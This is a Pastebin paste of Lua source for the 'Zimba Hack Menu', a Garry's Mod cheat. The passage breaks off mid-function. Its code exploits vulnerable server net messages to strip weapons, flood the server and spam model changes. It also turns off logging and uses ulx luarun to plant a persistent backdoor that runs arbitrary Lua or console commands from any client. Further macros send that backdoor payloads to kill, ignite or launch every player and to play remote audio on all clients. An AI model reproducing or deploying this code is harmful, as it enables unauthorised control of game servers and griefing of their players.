Trace2004tyler

Bacxkdor

Dec 17th, 2018
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 53.03 KB | None | 0 0
  1. /*====================================================================================
  2. ──────────────────────────────────────────────────────────────────────────────────────
  3. ─██████████████████─██████████─██████──────────██████─██████████████───██████████████─
  4. ─██░░░░░░░░░░░░░░██─██░░░░░░██─██░░██████████████░░██─██░░░░░░░░░░██───██░░░░░░░░░░██─
  5. ─████████████░░░░██─████░░████─██░░░░░░░░░░░░░░░░░░██─██░░██████░░██───██░░██████░░██─
  6. ─────────████░░████───██░░██───██░░██████░░██████░░██─██░░██──██░░██───██░░██──██░░██─
  7. ───────████░░████─────██░░██───██░░██──██░░██──██░░██─██░░██████░░████─██░░██████░░██─
  8. ─────████░░████───────██░░██───██░░██──██░░██──██░░██─██░░░░░░░░░░░░██─██░░░░░░░░░░██─
  9. ───████░░████─────────██░░██───██░░██──██████──██░░██─██░░████████░░██─██░░██████░░██─
  10. ─████░░████───────────██░░██───██░░██──────────██░░██─██░░██────██░░██─██░░██──██░░██─
  11. ─██░░░░████████████─████░░████─██░░██──────────██░░██─██░░████████░░██─██░░██──██░░██─
  12. ─██░░░░░░░░░░░░░░██─██░░░░░░██─██░░██──────────██░░██─██░░░░░░░░░░░░██─██░░██──██░░██─
  13. ─██████████████████─██████████─██████──────────██████─████████████████─██████──██████─
  14. ──────────────────────────────────────────────────────────────────────────────────────
  15. ====================================================================================*/
  16.  
  17. ------------------------------
  18. -- FUNCTIONS --
  19. ------------------------------
  20. Version = "v1.0"
  21. netKey = "memeDoor"
  22.  
  23. totalExploits = 0
  24. BackdoorsFound = 0
  25.  
  26. local ply = LocalPlayer()
  27.  
  28.  
  29. local blur = Material("pp/blurscreen")
  30. local function DrawBlur(panel, amount) --Panel blur function
  31. local x, y = panel:LocalToScreen(0, 0)
  32. local scrW, scrH = ScrW(), ScrH()
  33. surface.SetDrawColor(255, 255, 255)
  34. surface.SetMaterial(blur)
  35. for i = 1, 6 do
  36. blur:SetFloat("$blur", (i / 3) * (amount or 6))
  37. blur:Recompute()
  38. render.UpdateScreenEffectTexture()
  39. surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
  40. end
  41. end
  42.  
  43. function ValidNetString( str )
  44. local status, error = pcall( net.Start, str )
  45. return status
  46. end
  47.  
  48. local function playSound(url)
  49. sound.PlayURL(url, '', function( station )
  50. if ( IsValid( station ) ) then
  51. station:SetPos( LocalPlayer():GetPos() )
  52. station:Play()
  53. end
  54. end)
  55. end
  56.  
  57. hook.Add("Think", "RAINBOWPLAYER", function()
  58. local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  59. LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
  60. LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
  61. end)
  62.  
  63. function HtxPooledString()
  64. if IsMessagePooled( netKey ) then return "broken!"
  65. else return "Not broken!"
  66. end
  67. end
  68.  
  69.  
  70. function IsMessagePooled( netmessage )
  71. BackdoorStatus, error = pcall(net.Start,netmessage)
  72. return BackdoorStatus
  73. end
  74.  
  75. local SW = {}
  76. SW.Enabled = false
  77. SW.ViewOrigin = Vector( 0, 0, 0 )
  78. SW.ViewAngle = Angle( 0, 0, 0 )
  79. SW.Velocity = Vector( 0, 0, 0 )
  80.  
  81. function SW.CalcView( ply, origin, angles, fov )
  82. if ( !SW.Enabled ) then return end
  83. if ( SW.SetView ) then
  84. SW.ViewOrigin = origin
  85. SW.ViewAngle = angles
  86. SW.SetView = false
  87. end
  88. return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
  89. end
  90. hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
  91.  
  92. function SW.CreateMove( cmd )
  93. if ( !SW.Enabled ) then return end
  94.  
  95. local time = FrameTime()
  96. SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
  97. SW.Velocity = SW.Velocity * 0.95
  98.  
  99. local sensitivity = 0.022
  100. SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
  101. SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
  102.  
  103.  
  104. local add = Vector( 0, 0, 0 )
  105. local ang = SW.ViewAngle
  106. if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
  107. if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
  108. if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
  109. if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
  110. if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
  111. if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
  112. add = add:GetNormal() * time * 3000
  113. if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
  114.  
  115. SW.Velocity = SW.Velocity + add
  116. if ( SW.LockView == true ) then
  117. SW.LockView = cmd:GetViewAngles()
  118. end
  119. if ( SW.LockView ) then
  120. cmd:SetViewAngles( SW.LockView )
  121. end
  122. cmd:SetForwardMove( 0 )
  123. cmd:SetSideMove( 0 )
  124. cmd:SetUpMove( 0 )
  125. end
  126.  
  127.  
  128. hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
  129. function SW.Toggle()
  130. SW.Enabled = !SW.Enabled
  131. SW.LockView = SW.Enabled
  132. SW.SetView = true
  133.  
  134. local status = { [ true ] = "ON", [ false ] = "OFF" }
  135. SploitNotify("Noclip: " .. status[ SW.Enabled ])
  136. end
  137. concommand.Add( "zimba_toggle_noclip", SW.Toggle )
  138.  
  139. -- Exploit Other Shit
  140.  
  141. if( ValidNetString("start_wd_emp") ) then
  142. totalExploits = 1 + totalExploits
  143. end
  144.  
  145. if( ValidNetString("properties") ) then
  146. totalExploits = 1 + totalExploits
  147. end
  148.  
  149. if( ValidNetString("egg") ) then
  150. totalExploits = 1 + totalExploits
  151. end
  152.  
  153. if( ValidNetString("steamid2") ) then
  154. totalExploits = 1 + totalExploits
  155. end
  156.  
  157. if( ValidNetString("bodyman_model_change") ) then
  158. totalExploits = 1 + totalExploits
  159. end
  160. ------------------------------
  161. -- EXPLOIT FUNCTIONS --
  162. ------------------------------
  163.  
  164.  
  165. function SploitNotify(text)
  166. local notify = vgui.Create( "DPanel" )
  167. notify:SetSize( 200, 50 )
  168. notify:SetPos( ScrW() - 200, -50 )
  169. notify.Paint = function(self, w, h)
  170. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  171. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  172. draw.SimpleText( text, "Title", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  173. end
  174. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  175. timer.Simple( 3, function()
  176. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  177. end);end) end
  178.  
  179.  
  180. -- Exploit 1
  181. function removeAll() -- Strips all Players
  182. for k,v in pairs(player.GetAll()) do
  183. stripPlayer(v)
  184. end
  185. end
  186.  
  187. function stripPlayer(ply) -- Strip player function
  188. if ply:IsPlayer() then
  189. for k,v in pairs(ply:GetWeapons()) do
  190. net.Start("properties")
  191. net.WriteString( "remove" , 32 )
  192. net.WriteEntity( v )
  193. net.SendToServer()
  194. end
  195. end
  196. end
  197.  
  198. -- Exploit 2
  199. function HackKeypad()
  200. net.Start('start_wd_emp')
  201. net.SendToServer()
  202. end
  203.  
  204. -- Exploit 3
  205.  
  206. function GiveEasterEgg1()
  207. net.Start("egg")
  208. net.SendToServer()
  209. SploitNotify("Gave Easter Egg")
  210.  
  211. end
  212.  
  213. -- Exploit 4
  214.  
  215. function Lagger1()
  216. timer.Create( "lagger9", 0, 0, function()
  217. for i = 1, 100 do
  218. net.Start( "steamid2" )
  219. net.WriteString( "Zimba Hack Menu" )
  220. net.SendToServer()
  221. end
  222. end)
  223. end
  224.  
  225.  
  226. -- Exploit 5
  227.  
  228. local PM = 1
  229. local SK = 1
  230. local BG = 1
  231. local HN = 1
  232. local TS = 1
  233. local GL = 1
  234. local LG = 1
  235.  
  236. function BodyGroups()
  237. PlayerModels = {0,1,2,3,4,5,6}
  238. Torso = {0,1,2,3,4,5,6,7,8,9,10}
  239. Legs = {0,1,2,3,4,5,6}
  240. Hands = {0,1,2}
  241. Glasses = {0,1}
  242. Skins = {0,1,2,3,4,5,6,7,8,9,10}
  243. PM = PM+1
  244. TS = TS+1
  245. LG = LG+1
  246. HN = HN+1
  247. GL = GL+1
  248. SK = SK+1
  249. if (PM>#PlayerModels) then PM=1 end
  250. if (SK>#Skins) then SK=1 end
  251. if (HN>#Hands) then HN=1 end
  252. if (TS>#Torso) then TS=1 end
  253. if (GL>#Glasses) then GL=1 end
  254. if (LG>#Legs) then LG=1 end
  255. net.Start("bodyman_model_change")
  256. net.WriteInt(PlayerModels[PM], 10 )
  257. net.SendToServer()
  258. net.Start("bodygroups_change")
  259. net.WriteTable( { 1, Torso[TS] } )
  260. net.SendToServer()
  261. net.Start("bodygroups_change")
  262. net.WriteTable( { 2, Legs[LG] } )
  263. net.SendToServer()
  264. net.Start("bodygroups_change")
  265. net.WriteTable( { 3, Hands[HN] } )
  266. net.SendToServer()
  267. net.Start("bodygroups_change")
  268. net.WriteTable( { 4, Glasses[GL] } )
  269. net.SendToServer()
  270. end
  271.  
  272.  
  273. local MC = {}
  274. MC.Enabled = false
  275.  
  276. function ChangeModelSpammer()
  277. if ( MC.Enabled ) then return end
  278. timer.Create( "modelchanger", 0.3, 0, function()
  279. BodyGroups()
  280. end )
  281. end
  282.  
  283. hook.Add("Think","modelchanger",ChangeModelSpammer)
  284.  
  285. function MC.Toggle()
  286. MC.Enabled = !MC.Enabled
  287. MC.LockView = MC.Enabled
  288. MC.SetView = true
  289.  
  290. local status = { [ true ] = "ON", [ false ] = "OFF" }
  291. SploitNotify("Model Changer: " .. status[ MC.Enabled ])
  292. end
  293. concommand.Add( "zimba_toggle_model_changer", MC.Toggle )
  294.  
  295.  
  296. -- Superadmin Injector
  297. function Inject()
  298. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Injecting..." )
  299. if ( ply:IsSuperAdmin() ) then
  300. timer.Simple( 3, function()
  301. if( ValidNetString("ZimbaBackDoor") ) then
  302.  
  303. else
  304. RunConsoleCommand( "ulx", "logecho", "0" )
  305. RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('ZimbaBackDoor')" )
  306. RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('ZimbaBackDoor') net.Receive('ZimbaBackDoor', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" )
  307. RunConsoleCommand( "ulx", "logecho", "1" )
  308. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 0, 255, 0 )," Successfully Injected!" )
  309. end
  310. end )
  311. else
  312. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Failed! Your Not Superadmin!" )
  313. end
  314. if( ValidNetString("ZimbaBackDoor") ) then
  315. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Backdoor is already in! Fire at will!" )
  316. end
  317. end
  318.  
  319.  
  320. ------------------------------
  321. -- FONTS --
  322. ------------------------------
  323.  
  324. surface.CreateFont( "Title", {
  325. font = "Lato Light",
  326. size = 30,
  327. weight = 250,
  328. antialias = true,
  329. strikeout = false,
  330. additive = true,
  331. } )
  332.  
  333. surface.CreateFont( "Status", {
  334. font = "Lato Light",
  335. size = 25,
  336. weight = 250,
  337. antiaalias = true,
  338. strikeout = false,
  339. additive = true,
  340. } )
  341.  
  342. surface.CreateFont( "Welcome", {
  343. font = "Lato Light",
  344. size = 25,
  345. weight = 10,
  346. antiaalias = true,
  347. strikeout = false,
  348. additive = true,
  349. } )
  350.  
  351. surface.CreateFont( "ESP", {
  352. font = "Lato Light",
  353. size = 15,
  354. weight = 250,
  355. antialias = true,
  356. strikeout = false,
  357. additive = true,
  358. } )
  359. ------------------------------
  360. -- ZIMBA MENU DERMA --
  361. ------------------------------
  362.  
  363.  
  364. local Zimba = vgui.Create( "DFrame" )
  365. Zimba:SetSize( 630, 450 )
  366. Zimba:SetVisible( true )
  367. Zimba:SetDraggable( false )
  368. Zimba:ShowCloseButton( false )
  369. Zimba:Center()
  370. Zimba:SetTitle("")
  371. Zimba:MakePopup()
  372. Zimba.Paint = function( self, w, h )
  373. DrawBlur(Zimba, 2)
  374. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  375. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  376. draw.SimpleText( "Zimba Menu", "Title", Zimba:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  377. end
  378.  
  379.  
  380. local ZimbaCategories = vgui.Create( "DFrame", LOL )
  381. ZimbaCategories:SetSize( 150, 450 )
  382. ZimbaCategories:SetVisible( true )
  383. ZimbaCategories:SetDraggable( false )
  384. ZimbaCategories:ShowCloseButton( false )
  385. ZimbaCategories:SetPos( 465, 315)
  386. ZimbaCategories:SetTitle("")
  387. ZimbaCategories:MakePopup()
  388. ZimbaCategories.Paint = function( self, w, h )
  389. DrawBlur(ZimbaCategories, 2)
  390. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  391. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  392. draw.SimpleText( "Catagories", "Title", ZimbaCategories:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  393. end
  394.  
  395. local ZimbaClose = vgui.Create( "DButton", Zimba )
  396. ZimbaClose:SetSize( 35, 35 )
  397. ZimbaClose:SetPos( Zimba:GetWide() - 36,9 )
  398. ZimbaClose:SetText( "X" )
  399. ZimbaClose:SetFont( "Default" )
  400. ZimbaClose:SetTextColor( Color( 255, 255, 255 ) )
  401. ZimbaClose.Paint = function()
  402.  
  403. end
  404. ZimbaClose.DoClick = function()
  405. CloseEverything()
  406. end
  407.  
  408.  
  409. -- Version Derma / Checker Name / Welcome Message
  410.  
  411. local WelcomeLabel = vgui.Create( "DLabel", Zimba )
  412. WelcomeLabel:SetPos( 100, 100 )
  413. WelcomeLabel:SetFont("Welcome")
  414. WelcomeLabel:SetText( "Hello, "..ply:GetName().."\nThank you for using Zimba Hack Menu! We will be \nUpdating our hack so click the 'Check Version' Button to see \n if you have the right version :)")
  415. WelcomeLabel:SizeToContents()
  416.  
  417. local TotalExploits = vgui.Create( "DLabel", Zimba )
  418. TotalExploits:SetPos( 230, 425 )
  419. TotalExploits:SetText( "Total Exploits: "..totalExploits.." |" )
  420. TotalExploits:SizeToContents()
  421.  
  422. local BackdoorStatus = vgui.Create( "DLabel", Zimba )
  423. BackdoorStatus:SetPos( 320, 425 )
  424. BackdoorStatus:SetText( "Backdoor: "..HtxPooledString() )
  425. BackdoorStatus:SizeToContents()
  426. --
  427. if IsMessagePooled( netKey ) then BackdoorStatus:SetTextColor( Color(0,255,0) ) else BackdoorStatus:SetTextColor( Color(255,0,0) ) end
  428. --
  429.  
  430.  
  431. local VersionLabel = vgui.Create( "DLabel", Zimba )
  432. VersionLabel:SetPos( 550, 425 )
  433. VersionLabel:SetText( "Version: "..Version )
  434.  
  435. local NameLabel = vgui.Create( "DLabel", Zimba )
  436. NameLabel:SetPos( 10, 425 )
  437. NameLabel:SetText( "Hello, "..ply:GetName().."!" )
  438. NameLabel:SizeToContents()
  439.  
  440. -- Check Version Button
  441.  
  442.  
  443. local Checkversion = vgui.Create( "DButton", Zimba )
  444. Checkversion:SetText( "Check Version" )
  445. Checkversion:SizeToContents()
  446. Checkversion:SetTall( 25 )
  447. Checkversion:SetWide( 100 )
  448. Checkversion:SetPos( 250, 275 )
  449. Checkversion:SetTextColor( Color( 255, 255, 255 ) )
  450. Checkversion:SetToolTip( "Checks the hack Client Version." )
  451. Checkversion.Paint = function( self, w, h )
  452. DrawBlur(Checkversion, 2)
  453. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  454. Checkversion.DoClick = function()
  455. if ( Version == "v1.0") then
  456. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 0, 255, 0 )," Version is up to date!" )
  457. else
  458. chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," Out of date!" )
  459. end
  460. end
  461. end
  462.  
  463. -- Check Backdoors Button
  464.  
  465. local BackdoorScanner = vgui.Create( "DButton", Zimba )
  466. BackdoorScanner:SetText( "Backdoor Scanner" )
  467. BackdoorScanner:SizeToContents()
  468. BackdoorScanner:SetTall( 25 )
  469. BackdoorScanner:SetWide( 100 )
  470. BackdoorScanner:SetPos( 185, 315 )
  471. BackdoorScanner:SetTextColor( Color( 255, 255, 255 ) )
  472. BackdoorScanner:SetToolTip( "Checks the hack Client Version." )
  473. BackdoorScanner.Paint = function( self, w, h )
  474. DrawBlur(BackdoorScanner, 2)
  475. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  476. BackdoorScanner.DoClick = function()
  477. SploitNotify("Scanning...")
  478. surface.PlaySound("buttons/blip1.wav")
  479. checkbackdoors()
  480.  
  481. end
  482. end
  483.  
  484. -- Check Injector Button
  485.  
  486. local Injector = vgui.Create( "DButton", Zimba )
  487. Injector:SetText( "Superadmin Injector" )
  488. Injector:SizeToContents()
  489. Injector:SetTall( 25 )
  490. Injector:SetWide( 115 )
  491. Injector:SetPos( 300, 315 )
  492. Injector:SetTextColor( Color( 255, 255, 255 ) )
  493. Injector:SetToolTip( "Checks the hack Client Version." )
  494. Injector.Paint = function( self, w, h )
  495. DrawBlur(Injector, 2)
  496. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  497. Injector.DoClick = function()
  498. SploitNotify("Injecting...")
  499. surface.PlaySound("buttons/blip1.wav")
  500. Inject()
  501.  
  502. end
  503. end
  504.  
  505. ------------------------------
  506. -- ZIMBA MENU BUTTONS --
  507. ------------------------------
  508. local MainMenuButton = vgui.Create( "DButton", ZimbaCategories )
  509. MainMenuButton:SetText( "Main Menu" )
  510. MainMenuButton:SizeToContents()
  511. MainMenuButton:SetTall( 50 )
  512. MainMenuButton:SetWide( MainMenuButton:GetWide() + 100 )
  513. MainMenuButton:SetPos( 0, 75 )
  514. MainMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  515. MainMenuButton:SetToolTip( "Main Menu" )
  516. MainMenuButton.Paint = function( self, w, h )
  517. DrawBlur(MainMenuButton, 2)
  518. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  519. MainMenuButton.DoClick = function()
  520. closealltabs()
  521. ply:ConCommand( "zimba_menu" )
  522. end
  523. end
  524.  
  525. local ExploitMenuButton = vgui.Create( "DButton", ZimbaCategories )
  526. ExploitMenuButton:SetText( "Exploit Menu" )
  527. ExploitMenuButton:SizeToContents()
  528. ExploitMenuButton:SetTall( 50 )
  529. ExploitMenuButton:SetWide( ExploitMenuButton:GetWide() + 100 )
  530. ExploitMenuButton:SetPos( 0, 140 )
  531. ExploitMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  532. ExploitMenuButton:SetToolTip( "Exploit Menu" )
  533. ExploitMenuButton.Paint = function( self, w, h )
  534. DrawBlur(ExploitMenuButton, 2)
  535. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  536. ExploitMenuButton.DoClick = function()
  537. closealltabs()
  538. ply:ConCommand( "zimba_exploit_menu" )
  539. end
  540. end
  541.  
  542. local MiscMenuButton = vgui.Create( "DButton", ZimbaCategories )
  543. MiscMenuButton:SetText( "Misc Menu" )
  544. MiscMenuButton:SizeToContents()
  545. MiscMenuButton:SetTall( 50 )
  546. MiscMenuButton:SetWide( MiscMenuButton:GetWide() + 100 )
  547. MiscMenuButton:SetPos( 0, 205 )
  548. MiscMenuButton:SetTextColor( Color( 255, 255, 255 ) )
  549. MiscMenuButton:SetToolTip( "Misc Menu" )
  550. MiscMenuButton.Paint = function( self, w, h )
  551. DrawBlur(MiscMenuButton, 2)
  552. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  553. MiscMenuButton.DoClick = function()
  554. closealltabs()
  555. ply:ConCommand( "zimba_misc_menu" )
  556.  
  557. end
  558. end
  559.  
  560. local BackdoorButton = vgui.Create( "DButton", ZimbaCategories )
  561. BackdoorButton:SetText( "Backdoor Menu" )
  562. BackdoorButton:SizeToContents()
  563. BackdoorButton:SetTall( 50 )
  564. BackdoorButton:SetWide( BackdoorButton:GetWide() + 100 )
  565. BackdoorButton:SetPos( 0, 270 )
  566. BackdoorButton:SetTextColor( Color( 255, 255, 255 ) )
  567. BackdoorButton:SetToolTip( "Misc Menu" )
  568. BackdoorButton.Paint = function( self, w, h )
  569. DrawBlur(BackdoorButton, 2)
  570. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  571. BackdoorButton.DoClick = function()
  572. closealltabs()
  573. ply:ConCommand( "zimba_backdoor_menu" )
  574.  
  575. end
  576. end
  577.  
  578.  
  579. ------------------------------
  580. -- BACKDOOR DERMA --
  581. ------------------------------
  582.  
  583.  
  584. local BackdoorMenu = vgui.Create( "DFrame" )
  585. BackdoorMenu:SetSize( 630, 450 )
  586. BackdoorMenu:SetVisible( true )
  587. BackdoorMenu:SetDraggable( false )
  588. BackdoorMenu:ShowCloseButton( false )
  589. BackdoorMenu:Center()
  590. BackdoorMenu:SetTitle("")
  591. BackdoorMenu:MakePopup()
  592. BackdoorMenu.Paint = function( self, w, h )
  593. DrawBlur(BackdoorMenu, 2)
  594. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 85))
  595. draw.RoundedBox(0, 2, 2, w - 4, h / 9, Color(0,0,0,125))
  596. draw.SimpleText( "Zimba Backdoor Menu", "Title", BackdoorMenu:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  597. draw.SimpleText( "Macros", "Title", BackdoorMenu:GetWide() / 2, 225, Color(255,255,255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  598. end
  599.  
  600.  
  601. local BackdoorMenuClose = vgui.Create( "DButton", BackdoorMenu )
  602. BackdoorMenuClose:SetSize( 35, 35 )
  603. BackdoorMenuClose:SetPos( BackdoorMenu:GetWide() - 36,9 )
  604. BackdoorMenuClose:SetText( "X" )
  605. BackdoorMenuClose:SetFont( "Default" )
  606. BackdoorMenuClose:SetTextColor( Color( 255, 255, 255 ) )
  607. BackdoorMenuClose.Paint = function()
  608.  
  609. end
  610. BackdoorMenuClose.DoClick = function()
  611. CloseEverything()
  612. end
  613.  
  614. ------------------------------
  615. -- BACKDOOR --
  616. ------------------------------
  617.  
  618. local Consolerun = vgui.Create( "DTextEntry", BackdoorMenu )
  619. Consolerun:SetText( strDefaultText or "" )
  620. Consolerun:SetPos( 125, 100)
  621. Consolerun:SetSize( 350, 20 )
  622. Consolerun.OnEnter = function() Window:Close() Consolerun:GetValue()
  623. end
  624.  
  625.  
  626. local RunCommand = vgui.Create( "DButton", BackdoorMenu )
  627. RunCommand:SetText( "OK" )
  628. RunCommand:SetSize( 55, 25 )
  629. RunCommand:SetPos( 230, 150 )
  630. RunCommand:SetTextColor( Color( 255, 255, 255 ) )
  631. RunCommand.DoClick = function()
  632. SploitNotify("Sending Command")
  633. surface.PlaySound("buttons/blip1.wav")
  634. net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  635. end
  636.  
  637. RunCommand.Paint = function( self, w, h )
  638. DrawBlur(RunCommand, 2)
  639. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  640. end
  641.  
  642. local Disco = vgui.Create( "DButton", BackdoorMenu )
  643. Disco:SetText( "Disco" )
  644. Disco:SetSize( 55, 25 )
  645. Disco:SetPos( 320, 150 )
  646. Disco:SetTextColor( Color( 255, 255, 255 ) )
  647. Disco.DoClick =
  648. function() surface.PlaySound("buttons/blip1.wav") net.Start( netKey ) net.WriteString( Consolerun:GetValue() ) net.SendToServer()
  649. SploitNotify("Starting Disco")
  650. local disco = "for k,v in pairs(player.GetAll()) do v:SendLua([[ local function playSound(url) sound.PlayURL(url, '', function( station ) if ( IsValid( station ) ) then station:SetPos( LocalPlayer():GetPos() ) station:Play() end end) end playSound('http://www.underdone.org/leak/underdone/blue.mp3') ]]) end"
  651. net.Start(netKey)
  652. net.WriteString( disco )
  653. net.WriteBit(1)
  654. net.SendToServer()
  655. end
  656. Disco.Paint = function( self, w, h )
  657. DrawBlur(Disco, 2)
  658. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  659. end
  660.  
  661. local Status = vgui.Create( "DLabel", BackdoorMenu )
  662. Status:SetText("Status: "..HtxPooledString() )
  663. Status:SetPos( 380,410 )
  664. Status:SetFont("Status")
  665. Status:SizeToContents()
  666. Status:SetContentAlignment( 5 )
  667. Status:SetTextColor( Color(255,50,50,255) )
  668.  
  669. --
  670. if IsMessagePooled( netKey ) then Status:SetTextColor( Color(0,255,0) ) else Status:SetTextColor( Color(255,0,0) ) end
  671. --
  672.  
  673. ------------------------------
  674. -- BACKDOOR MACROS --
  675. ------------------------------
  676.  
  677.  
  678. local KillEveryone = vgui.Create( "DButton", BackdoorMenu )
  679. KillEveryone:SetText( "Kill Everyone" )
  680. KillEveryone:SizeToContents()
  681. KillEveryone:SetTall( 25 )
  682. KillEveryone:SetWide( KillEveryone:GetWide() + 25 )
  683. KillEveryone:SetPos( 50, 250 )
  684. KillEveryone:SetTextColor( Color( 255, 255, 255 ) )
  685. KillEveryone:SetToolTip( "Kills everyone in the server!" )
  686. KillEveryone.Paint = function( self, w, h )
  687. DrawBlur(KillEveryone, 2)
  688. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  689. KillEveryone.DoClick = function()
  690. SploitNotify("Killing Everyone")
  691. surface.PlaySound("garrysmod/ui_click.wav")
  692. net.Start(netKey)
  693. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  694. net.WriteBit(1)
  695. net.SendToServer()
  696. end
  697. end
  698.  
  699. local LaunchEveryone = vgui.Create( "DButton", BackdoorMenu )
  700. LaunchEveryone:SetText( "Launch Everyone" )
  701. LaunchEveryone:SizeToContents()
  702. LaunchEveryone:SetTall( 25 )
  703. LaunchEveryone:SetWide( LaunchEveryone:GetWide() + 20 )
  704. LaunchEveryone:SetPos( 160, 250 )
  705. LaunchEveryone:SetTextColor( Color( 255, 255, 255 ) )
  706. LaunchEveryone:SetToolTip( "Launches everyone on the server" )
  707. LaunchEveryone.Paint = function( self, w, h )
  708. DrawBlur(LaunchEveryone, 2)
  709. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  710. LaunchEveryone.DoClick = function()
  711. SploitNotify("Launching Players")
  712. surface.PlaySound("garrysmod/ui_click.wav")
  713. net.Start(netKey)
  714. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  715. net.WriteBit(1)
  716. net.SendToServer()
  717. end
  718. end
  719.  
  720.  
  721. local EarRape = vgui.Create( "DButton", BackdoorMenu )
  722. EarRape:SetText( "Ear Rape" )
  723. EarRape:SizeToContents()
  724. EarRape:SetTall( 25 )
  725. EarRape:SetWide( EarRape:GetWide() + 20 )
  726. EarRape:SetPos( 285, 250 )
  727. EarRape:SetTextColor( Color( 255, 255, 255 ) )
  728. EarRape:SetToolTip( "Starts a very loud sound on the server." )
  729. EarRape.Paint = function( self, w, h )
  730. DrawBlur(EarRape, 2)
  731. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  732. EarRape.DoClick = function()
  733. SploitNotify("Starting Ear Rape")
  734. surface.PlaySound("garrysmod/ui_click.wav")
  735. net.Start(netKey)
  736. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  737. net.WriteBit(1)
  738. net.SendToServer()
  739. end
  740. end
  741.  
  742.  
  743. local IngiteEveryone = vgui.Create( "DButton", BackdoorMenu )
  744. IngiteEveryone:SetText( "Ignite Everyone" )
  745. IngiteEveryone:SizeToContents()
  746. IngiteEveryone:SetTall( 25 )
  747. IngiteEveryone:SetWide( EarRape:GetWide() + 25 )
  748. IngiteEveryone:SetPos( 370, 250 )
  749. IngiteEveryone:SetTextColor( Color( 255, 255, 255 ) )
  750. IngiteEveryone:SetToolTip( "Ignites Everyon on the server." )
  751. IngiteEveryone.Paint = function( self, w, h )
  752. DrawBlur(IngiteEveryone, 2)
  753. draw.RoundedBox(0, 0, 0, w, h, Color(0, 0, 0, 125) )
  754. IngiteEveryone.DoClick = function()
  755. SploitNotify("Igniting Everyone")
  756. surface.PlaySound("garrysmod/ui_click.wav")
  757. net.Start(netKey)
  758. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
